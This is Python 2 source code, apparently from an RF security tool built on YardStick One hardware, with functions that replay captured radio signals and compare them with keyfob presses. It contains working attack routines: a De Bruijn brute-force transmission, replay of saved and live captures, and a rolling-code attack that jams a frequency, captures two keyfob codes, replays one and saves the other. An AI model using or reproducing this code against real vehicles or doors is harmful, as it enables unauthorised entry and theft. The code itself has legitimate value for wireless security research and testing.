def replaySavedCapture(d, uploaded_payload): '''Used to import an old capture and replay it from a file''' with open(uploaded_payload) as f: payloads = f.readlines() print payloads payloads = tools.createBytesFromPayloads(payloads) response = raw_input("Send once, or forever? (o/f) Default = o ") if response.lower() == "f": print( "\nNOTE: TO STOP YOU NEED TO CTRL-Z and Unplug/Plug IN YARDSTICK-ONE\n" ) while True: for payload in payloads: print "WAITING TO SEND" time.sleep( 1) #You may not want this if you need rapid fire tx tools.sendTransmission(payload, d) else: for payload in payloads: print "WAITING TO SEND" time.sleep(1) tools.sendTransmission(payload, d)
def deBruijn(d): '''Send Binary deBruijn payload to bruteforce a signal''' response = raw_input("What length deBruijn would you like to try: ") binary = utilities.deBruijn(2, int(response)) payload = tools.turnToBytes(binary) print('Sending ' + str(len(binary)) + ' bits length binary deBruijn payload formated to bytes') tools.sendTransmission(payload, d)
def liveClicks(self): '''Compare Signals and Create graphs to compare a live capture with a keyfob press''' count = 0 live = True graphToPercent = {} #Holds % match and payload for each signal in a click #Get binary output of the payload captured_payload_binary = self.payloadsToBinary(self.captured_payload) print "----------Start Signals In Press--------------" for presses in self.keyfob_payloads: for keyfob_payload in presses: #Get binary output of the keyfob captures keyfob_programming_binary = self.payloadsToBinary(keyfob_payload) #Handle Calculations for likilihood one = ''.join(str(x) for x in captured_payload_binary) two =''.join(str(x) for x in keyfob_programming_binary) percent = tools.similar(one,two) graphToPercent[keyfob_payload] = percent print "Percent Chance of Match for press is: %.2f" % percent print "----------End Signals In Press------------" #Send dictionaries of percents and return the signal with the highest % comparison keyfob_payload = self.getHighestPercent(graphToPercent) keyfob_programming_binary = self.payloadsToBinary(keyfob_payload) self.createGraph(captured_payload_binary, keyfob_programming_binary) self.outputImagesComparisons(1, live) plt.close() self.openImage('./imageOutput/LiveComparison.png') print "For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png"
def createImageGraph(self): '''Create a graph to compare a list of captures with the keyfob press''' count = 0 likilihoods = [] #Get binary output of the payload captured_payload_binary = self.payloadsToBinary(self.captured_payload) for presses in self.keyfob_payloads: for keyfob_payload in presses: #Get binary output of the keyfob captures keyfob_programming_binary = self.payloadsToBinary( keyfob_payload) #Handle Calculations for likilihood one = ''.join(str(x) for x in captured_payload_binary) two = ''.join(str(x) for x in keyfob_programming_binary) percent = tools.similar(one, two) print "Percent Chance of Match for press is: %.2f" % percent self.createGraph(captured_payload_binary, keyfob_programming_binary) self.outputImagesComparisons(count) count = count + 1 plt.close()
def replayLiveCapture(d, rolling_code, upper_rssi, lower_rssi): '''Replays a live capture real time, lets you select your capture and replay it or save it for later''' replay_capture, signal_strength = tools.capturePayload(d,rolling_code, upper_rssi, lower_rssi) replay_capture = [replay_capture] response = raw_input( "Replay this capture? (y/n) ") if response.lower() == 'y': payloads = tools.createBytesFromPayloads(replay_capture) for payload in payloads: print "WAITING TO SEND" time.sleep(1) tools.sendTransmission(payload ,d) response = raw_input( "Save this capture for later? (y/n) ") if response.lower() == 'y': mytime = time.strftime('%X') with open("./files/"+mytime+"_payload.cap", 'w') as file: file.write(replay_capture[0]) print "Saved file as: ./files/"+mytime+"_payload.cap"
def rollingCode(d, frequency, jamming_variance, baud_rate_jammer, rolling_code, upper_rssi, lower_rssi): '''Sets up for a rolling code attack, requires a frequency and a RFCat Object''' print("ROLLING CODE REQUIRES 2 YardSticks Plugged In") j = jam.setupJammer(1, baud_rate_jammer) jam.jamming(j, "start", frequency+jamming_variance, rolling_code) roll_captures, signal_strength = tools.capturePayload(d, rolling_code, upper_rssi, lower_rssi) print("Waiting to capture your rolling code transmission") print signal_strength print roll_captures payloads = tools.createBytesFromPayloads(roll_captures) time.sleep(1) jam.jamming(j, "stop",frequency+jamming_variance, rolling_code) print "Sending First Payload " tools.sendTransmission(payloads[0] ,d) response = raw_input( "Ready to send second Payload?? (y/n) ") if response.lower() == "y": tools.sendTransmission(payloads[1] ,d) else: response = raw_input( "Choose a name to save your file as and press enter: ") with open("./files/"+response+".cap", 'w') as file: file.write(roll_captures[1]) print "Saved file as: ./files/"+response+".cap You can manually replay this later with -s -u"
def logTail(my_clicker): ''' This function acts as a linux tail function but only pulling new additions to a file since running it parses for payload lines which is uses in analysis and graphing''' capture_log = "./captures/capturedClicks.log" file = open(capture_log, 'r') #Find the size of the file and move to the end st_results = os.stat(capture_log) st_size = st_results[6] file.seek(st_size) while 1: where = file.tell() line = file.readline() if not line: time.sleep(1) file.seek(where) else: if "found" not in line: presses = tools.parseSignalsLive(line) my_clicker.keyfob_payloads = presses percent = my_clicker.liveClicks()